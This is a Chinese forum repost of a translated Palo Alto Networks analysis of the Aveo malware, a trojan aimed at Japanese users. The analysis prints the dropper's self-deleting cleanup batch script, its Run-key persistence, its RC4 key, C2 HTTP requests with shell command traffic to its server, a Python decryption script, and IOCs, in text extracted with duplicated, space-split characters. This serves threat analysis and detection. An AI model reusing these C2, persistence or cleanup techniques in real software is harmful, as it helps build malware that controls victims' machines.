搜索

[10791] 2016-12-04_Aveo恶意软件分析

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2016-12-04_Aveo恶意软件分析 A v e o 恶 意 软 件 分 析 A v e n g e r   F r e e B u f   2 0 1 6 - 1 2 - 0 4 P a l o   A l t o   N e t w o r k s   发 现 了 一 个 名 为 发 现 了 一 个 名 为   A v e o   的 恶 意 软 件 家 族 ， 它 针 对 日 语 用 户 开 发 。 的 恶 意 软 件 家 族 ， 它 针 对 日 语 用 户 开 发 。 A v e o   的 名 字 来 自 于 其 二 进 制 文 件 中 的 嵌 的 名 字 来 自 于 其 二 进 制 文 件 中 的 嵌 入 式 调 试 字 符 串 。 入 式 调 试 字 符 串 。 A v e o   恶 意 软 件 家 族 与 恶 意 软 件 家 族 与   F o r r m e r F i r s t R A T   恶 意 软 件 家 族 有 密 切 的 联 系 ， 二 者 都 针 对 日 语 用 户 。 恶 意 软 件 家 族 有 密 切 的 联 系 ， 二 者 都 针 对 日 语 用 户 。 A v e o         会 伪 会 伪 装 成 装 成   M i c r o s o f t   E x c e l   文 档 ， 并 在 执 行 时 抛 出 诱 饵 文 件 。 诱 饵 文 档 与 埼 玉 工 業 大 学 文 档 ， 并 在 执 行 时 抛 出 诱 饵 文 件 。 诱 饵 文 档 与 埼 玉 工 業 大 学   I d o   实 验 室 的 研 究 有 关 。 执 行 后 ， 实 验 室 的 研 究 有 关 。 执 行 后 ， A v e o   可 可 以 接 收 多 种 命 令 ， 这 将 允 许 攻 击 者 完 全 控 制 感 染 主 机 。 以 接 收 多 种 命 令 ， 这 将 允 许 攻 击 者 完 全 控 制 感 染 主 机 。 部 署 部 署 A e v o   的 样 本 会 伪 装 成   M i c r o s o f t   E x c e l   文 档 ， 如 下 图 所 示 。 值 得 注 意 的 是 ， m a l w a r e . e x e   只 是 一 个 占 位 符 ， 原 文 件 名 未 知 。         该 可 执 行 文 件 其 实 是 一 个   W i n R A R   的 自 解 压 可 执 行 文 件 ， 它 会 在 执 行 时 抛 出 诱 饵 文 档 和   A v e o   木 马 来 运 行 。 下 图 就 是 抛 出 的 诱 饵 文 档 ， 在 运 行 之 后 打 开 ： 这 个 诱 饵 文 档 是 关 于   I d o   实 验 室   2 0 1 6   年 研 究 立 项 的 信 息 。 该 文 件 列 出 了   1 6   名 参 加   C A V E   的 名 单 ， 包 括 名 字 、 单 位 以 及 邮 件 地 址 。
这 个 文 档 用 日 语 书 写 ， 文 件 名 也 是 日 文   C A V E 研 究 会 参 加 者 研 究 会 参 加 者 . x l s ， 这 些 都 表 明 该 恶 意 软 件 是 针 对 日 语 用 户 的 。 此 外 ， A v e o   和   F o r m e r F i r s t R A T   家 族 的 相 似 性 将 会 在 稍 后 讨 论 ， 这 个 讨 论 将 进 一 步 支 持 该 恶 意 软 件 是 针 对 日 语 用 户 的 。 基 础 设 施 基 础 设 施 A v e o   木 马 配 置 了 以 下 域 名 来 进 行   H T T P   通 信 ： s n o o z e t i m e [ . ] i n f o j a c k . o n d o @ m a i l . c o m   最 早 在   2 0 1 5   年   5   月 就 注 册 了 ， 自 那 时 起 ， 该 邮 箱 已 经 和 以 下 三 个   I P   地 址 关 联 上 了 ： 1 0 4 . 2 0 2 . 1 7 3 [ . ] 8 2 1 0 7 . 1 8 0 . 3 6 [ . ] 1 7 9 5 0 . 6 3 . 2 0 2 [ . ] 3 8 所 有 这 些   I P   地 址 都 位 于 美 国 境 内 。 从   s n o o z e t i m e [ . ] i n f o   的   W H O I S   信 息 来 看 ， 注 册 邮 箱 为 j a c k . o n d o @ m a i l [ . ] c o m ， 注 册 名 为 a y g t 5 r u h r j   a y g t 5 r u h r j   g e r h j r t 。 根 据 这 两 条 线 索 进 行 拓 展 ： b l u e p a i n t [ . ] i n f o c o i n p a c k [ . ] i n f o 7 b 7 p [ . ] i n f o d o n k e y h a w s [ . ] i n f o e u r o p c u b i t [ . ] c o m j h m i y h . n y @ g m a i l [ . ] c o m 8 4 4 1 4 8 0 3 0 @ q q [ . ] c o m 恶 意 软 件 分 析 恶 意 软 件 分 析 在 自 解 压 可 执 行 文 件 运 行 后 ， 一 系 列 的 文 件 释 出 到 文 件 系 统 中 ， 其 执 行 流 如 下 ： 当   m s h e l p 3 2 . e x e   可 执 行 程 序 运 行 时 ， 首 先 读 取 s e t t i n g 3 2 . i n i   文 件 ， 其 中 包 含 着 诱 饵 文 档 的 名 字 。 这 一 信 息 被 用 来 构 建 一 个 批 处 理 脚 本 ， 如 下 ：
@ e c h o   o f f c o p y   " C A V E 研 究 会 参 加 者 . x l s "   " C : D o c u m e n t s   a n d   S e t t i n g s A d m i n i s t r a t o r D e s k t o p 8 1 0 1 c 2 9 8 a 3 3 d 9 1 a 9 8 5 a 5 1 5 0 d 0 2 5 4 c f 4 2 6 6 0 1 e 4 6 3 2 2 5 0 f 5 a 0 3 d d a c 3 9 3 7 5 e 7 f b 4 d . x l s "   / Y d e l   " C A V E 研 究 会 参 加 者 . x l s "   / F   / Q d e l   m s h e l p 3 2 . e x e / F   / Q d e l   s e t t i n g 3 2 . i n i   / F   / Q d e l   " C : D o c u m e n t s   a n d   S e t t i n g s A d m i n i s t r a t o r D e s k t o p 8 1 0 1 c 2 9 8 a 3 3 d 9 1 a 9 8 5 a 5 1 5 0 d 0 2 5 4 c f 4 2 6 6 0 1 e 4 6 3 2 2 5 0 f 5 a 0 3 d d a c 3 9 3 7 5 e 7 f b 4 d . e x e "     / F   / Q d e l   % 0   / F   / Q 该 批 处 理 脚 本 在 一 个 新 的 进 程 中 执 行 ， 在   A v e o   运 行 、 诱 饵 文 档 释 放 后 执 行 清 理 工 作 。 A v e o   恶 意 软 件 家 族 恶 意 软 件 家 族 A v e o   恶 意 软 件 会 在 开 始 运 行 一 个 安 装 程 序 ， 该 程 序 会 复 制 自 身 到 以 下 位 置 ： % A P P D A T A % M M C M M C . e x e 如 果 因 为 某 种 原 因 ， % A P P D A T A % M M C   目 录 不 能 被 创 建 ， A v e o   将 会 使 用   % T E M P %   来 代 替   % A P P D A T A % 。 恶 意 软 件 自 身 复 制 完 成 后 ， 将 会 在 新 的 进 程 中 以 原 文 件 名 为 参 数 执 行   M M C . e x e 。 当 执 行 时 ， 如 果 提 供 了 这 单 个 参 数 ， 恶 意 软 件 将 会 删 除 掉 制 定 路 径 内 的 文 件 。 安 装 完 成 后 ， A v e o   将 会 提 取 以 下 受 害 人 信 息 通 过   H T T P   传 到 远 程 控 制 服 务 器 上 ： U n i q u e   v i c t i m   h a s h I P   A d d r e s s M i c r o s o f t   W i n d o w s   v e r s i o n U s e r n a m e A N S I   c o d e   p a g e   i d e n t i f i e r 这 个 信 息 被 送 到   s n o o z e t i m e [ . ] i n f o 上 ， 像 下 面 的   H T T P   请 求 样 例 ： G E T   / i n d e x . p h p ? i d = 3 5 4 6 7 & 1 = y S x l p 0 3 Y G m 0 - & 2 = y i F i 6 h j b F H f 9 U t L 4 4 R P Q & 4 = z T Z h 6 h 7 b H G j i U M z n & 5 = s X c j r A m q X i y i G J W z u U Q - & 6 = y i p l 9 g - -   H T T P / 1 . 1 A c c e p t :   * / * U s e r - A g e n t :   M o z i l l a / 4 . 0   ( c o m p a t i b l e ;   M S I E   6 . 0 ;   W i n d o w s   N T   5 . 0 ;   . N E T   C L R   1 . 1 . 4 3 2 2 ) H o s t :   s n o o z e t i m e [ . ] i n f o C a c h e - C o n t r o l :   n o - c a c h e 恶 意 软 件 使 用 了   R C 4   来 对 数 据 进 行 加 密 ， 使 用   h e l l o 作 为 密 钥 。 如 下 图 所 示 ， A v e o   和   F o r m e r F i r s t R A T   的 加 密 部 分 几 乎 是 相 同 的 ， 只 s 是 算 法 和 密 钥 变 了 。 可 以 通 过 以 下 代 码 来 解 密   H T T P   中 传 输 的 数 据 ： i m p o r t   b a s e 6 4 f r o m   b i n a s c i i   i m p o r t   * f r o m   s t r u c t   i m p o r t   * f r o m   w i n c r y p t o   i m p o r t   C r y p t C r e a t e H a s h ,   C r y p t H a s h D a t a ,   C r y p t D e r i v e K e y ,   C r y p t E n c r y p t ,   C r y p t D e c r y p t C A L G _ R C 4   =   0 x 6 8 0 1 C A L G _ M D 5   =   0 x 8 0 0 3 d e f   d e c r y p t ( d a t a ) :     m d 5 _ h a s h e r   =   C r y p t C r e a t e H a s h ( C A L G _ M D 5 )     C r y p t H a s h D a t a ( m d 5 _ h a s h e r ,   ' h e l l o ' )     g e n e r a t e d _ k e y   =   C r y p t D e r i v e K e y ( m d 5 _ h a s h e r ,   C A L G _ R C 4 )     d e c r y p t e d _ d a t a   =   C r y p t D e c r y p t ( g e n e r a t e d _ k e y ,   d a t a )     r e t u r n   d e c r y p t e d _ d a t a f o r   a   i n   ' i n d e x . p h p ? i d = 3 5 4 6 7 & 1 = n i B o 9 x / b F G 4 - & 2 = y i 9 i 6 h j b A m D 5 T N P u 5 A - - & 4 = z T Z h 6 h 7 b H G j i U M z n & 5 = s X c j r A m q X i y i G J W z u U Q - & 6 = y i p l 9 g - - ' . s p l i t ( " & " ) [ 1 : ] :     k , v   =   a . s p l i t ( " = " )     d e c r y p t e d   =   d e c r y p t ( b a s e 6 4 . b 6 4 d e c o d e ( v . r e p l a c e ( " - " , " = " ) ) )     p r i n t   " [ + ]   P a r a m e t e r   { }   D e c r y p t e d :   { } " . f o r m a t ( k ,   d e c r y p t e d )
运 行 以 上 代 码 会 产 生 以 下 结 果 ： [ + ]   P a r a m e t e r   1   D e c r y p t e d :   e 8 8 3 6 6 8 7 [ + ]   P a r a m e t e r   2   D e c r y p t e d :   1 7 2 . 1 6 . 9 5 . 1 8 4 [ + ]   P a r a m e t e r   4   D e c r y p t e d : 6 . 1 . 7 6 0 1 . 2 . 1 [ + ]   P a r a m e t e r   5   D e c r y p t e d :   J o s h   G r u n z w e i g [ + ]   P a r a m e t e r   6   D e c r y p t e d :   1 2 5 2 在 得 到 受 害 者 信 息 后 ， 恶 意 软 件 会 按 照 预 期 返 回   O K 。 之 后   A v e o   将 会 产 生 一 个 新 的 线 程 来 负 责 处 理   C & C   服 务 器 的 命 令 ， 以 及 请 求 产 生 的 交 互 式   S h e l l 。 A v e o   对 注 册 表 进 行 以 下 设 置 ， 以 指 向 恶 意 软 件 的 路 径 ， 从 而 保 证 重 新 启 动 后 恶 意 软 件 仍 然 可 以 持 久 工 作 ： H K C U s o f t w a r e m i c r o s o f t w i n d o w s c u r r e n t v e r s i o n r u n m s n e t b r i d g e 然 后 命 令 处 理 程 序 进 入 轮 询 等 待 ， A v e o   会 从   C & C   服 务 器 接 收 命 令 。 虽 然   A v e o   在 等 待 响 应 ， 它 也 会 执 行 随 机 延 迟 ， 延 迟 时 间 在         0   到   3 2 7 6   毫 秒 之 间 。 如 果   C & C   服 务 器 返 回   t o y o t a ， 会 将 间 隔 设 置 为   6 0   秒 。 A v e o   可 以 接 收 以 下 命 令 ： 1 . 执 行 交 互   S h e l l   命 令 2 . 获 取 文 件 属 性 3 . 写 入 文 件 4 . 读 取 文 件 5 . 驱 动 器 列 表 6 . 对 路 径 执 行   D I R   命 令 以 下 请 求 显 示 了   C & C   服 务 器 发 送   i p c o n f i g   命 令 到   A v e o   的 过 程 ： C & C   请 求 请 求 G E T   / i n d e x . p h p ? i d = 3 5 4 6 8 & 1 = n i B o 9 x / b F G 4 -   H T T P / 1 . 1 A c c e p t :   * / * U s e r - A g e n t :   M o z i l l a / 4 . 0   ( c o m p a t i b l e ;   M S I E   6 . 0 ;   W i n d o w s   N T   5 . 0 ;   . N E T   C L R   1 . 1 . 4 3 2 2 ) H o s t :   s n o o z e t i m e [ . ] i n f o C a c h e - C o n t r o l :   n o - c a c h e H T T P / 1 . 0   2 0 0   O K C o n t e n t - T y p e :   t e x t / h t m l ;   c h a r s e t = u t f - 8 C o n t e n t - L e n g t h :   1 1 S e r v e r :   W e r k z e u g / 0 . 1 1 . 1 0   P y t h o n / 2 . 7 . 5 D a t e :   W e d , 1 0   A u g   2 0 1 6   1 6 : 0 0 : 1 1   G M T x c a 8 9 x b 4 J x 8 2 B ? x a 5 x 0 5 x e 8 [ D e c r y p t e d ]   1   i p c o n f i g A v e o   响 应 响 应 P O S T   / i n d e x . p h p ? i d = 3 5 4 6 9 & 1 = n i B o 9 x / b F G 4 -   H T T P / 1 . 1 A c c e p t :   * / * U s e r - A g e n t :   M o z i l l a / 4 . 0   ( c o m p a t i b l e ;   M S I E   6 . 0 ;   W i n d o w s   N T   5 . 0 ;   . N E T   C L R   1 . 1 . 4 3 2 2 ) H o s t :   s n o o z e t i m e [ . ] i n f o C o n t e n t - L e n g t h :   1 0 0 6 C a c h e - C o n t r o l :   n o - c a c h e x c a x 3 8 x 3 9 x b 4 x 4 a x 8 2 x 4 2 x 3 f x a 5 x 0 5 x e 8 x d b x d a x 7 4 x 8 b x 7 9 x 3 9 x 4 6 x f 2 x 4 2 x 1 f x c d x 3 9 x f 3 x 6 5 x 1 d x d a x 4 9 x 4 0 x 6 c x 5 e x 6 e x a b x 7 9 x c 2 x 4 4 x c 3 x b 0 x 1 2 x f d x e 2 x 8 4 x 6 7 x 0 d x a 5 x d 3 x 5 0 x 2 d x 1 c x 3 1 x 4 a x 9 e x c b x 3 d x 0 8 x e 6 x 1 b x 0 4 x 8 5 x b f x 1 1 x 0 e x 9 6 x 6 3 x c f x 7 1 x f e x e 4 x 9 7 x 2 a x d c x 1 2 x 2 3 x 4 d x c b x 0 f x 9 3 x 3 0 x b c x a 0 x c 8 x 4 e x 4 e x d 8 x d b x 3 3 x a 2 x b e x f f x 5 e x 8 9 x 2 2 x b 9 x 1 6 x d 1 x f 0 x 6 0 x 7 1 x 6 4 x 7 a x 1 0 x b 8 x 7 8 x 7 6 x e 5 x 0 8 x 9 0 x 4 6 x 3 0 x a 3 x e 2 x 4 e x d c x 9 8 x 1 1 x 2 7 x 6 2 x 3 8 x 0 0 x b 4 x 5 4 x 6 d x d 7 x 5 b x 1 9 x 5 f x 1 9 x b 8 x d 1 x f 5 x c 1 x 9 b x 9 7 x d a x 8 4 x 2 c x d d x 2 d x 9 7 x 0 a x 6 9 x 5 1 x d 9 x 3 1 x 7 7 x 4 a x e 2 x 7 f x 5 e x c 5 x a f x 0 2 x 3 c x 6 9 x 9 c x 5 f x 9 4 x 3 e x 0 c x 2 5 x c e x 6 3 x a 9 x 4 3 x f f x 3 4 x 2 5 x 4 2 x 9 5 x a 9 x 1 f x a a x d f x 2 b x a 7 x b 1 x c 0 x 3 [ T r u n c a t e d ] [ D e c r y p t e d ] 1   i p c o n f i g W i n d o w s   I P   C o n f i g u r a t i o n E t h e r n e t   a d a p t e r   B l u e t o o t h   N e t w o r k   C o n n e c t i o n :       M e d i a   S t a t e   .   .   .   .   .   .   .   .   .   .   .   :   M e d i a   d i s c o n n e c t e d       C o n n e c t i o n - s p e c i f i c   D N S   S u f f i x     .   :   [ T r u n c a t e d ] 结 论 结 论 A v e o   与   F o r m e r F i r s t R A T   在 多 个 特 征 上 都 是 一 致 的 ， 包 括 加 密 模 块 、 代 码 重 用 和   C & C   功 能 。 正 如 前 面 讨 论 的   F o r m e r F i r s t R A T   样 本 ， 这 个 恶 意 软 件 家 族 看 起 来 也 是 针 对 日 语 用 户 。 使 用 自 解 压 文 件 的   W i n R A R   释 放 诱 饵 文 档 和   A v e o   的 恶 意 软 件 副 本 以 及 清 理 脚 本 。
P a l o   A l t o   N e t w o r k s   的 客 户 已 经 免 受 以 下 威 胁 ： 1 . A u t o F o c u s   已 经 对 这 种 威 胁 创 建 了 跟 踪 和 监 控 2 . W i l d F i r e   归 类   A v e o   到 恶 意 程 序 3 . C & C   域 名 列 入   T h r e a t   P r e v e n t i o n   拦 截 黑 名 单 I O C S H A 2 5 6   哈 希 哈 希 9 d c c f d d 2 a 5 0 3 e f 8 6 1 4 1 8 9 2 2 5 b b b a c 1 1 e e 6 0 2 7 5 9 0 c 5 7 7 a f c a a d a 7 e 0 4 2 e 1 8 6 2 5 e 2 8 1 0 1 c 2 9 8 a 3 3 d 9 1 a 9 8 5 a 5 1 5 0 d 0 2 5 4 c f 4 2 6 6 0 1 e 4 6 3 2 2 5 0 f 5 a 0 3 d d a c 3 9 3 7 5 e 7 f b 4 d C & C   域 名 域 名 s n o o z e t i m e [ . ] i n f o 注 册 表 键 值 注 册 表 键 值 H K C U s o f t w a r e m i c r o s o f t w i n d o w s c u r r e n t v e r s i o n r u n m s n e t b r i d g e 文 件 路 径 文 件 路 径 % A P P D A T A % M M C M M C . e x e % T E M P % M M C M M C . e x e * 参 考 文 章 来 源 ： 参 考 文 章 来 源 ： r e s e a r c h c e n t e r ， 由 ， 由 A v e n g e r 编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 。 。 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理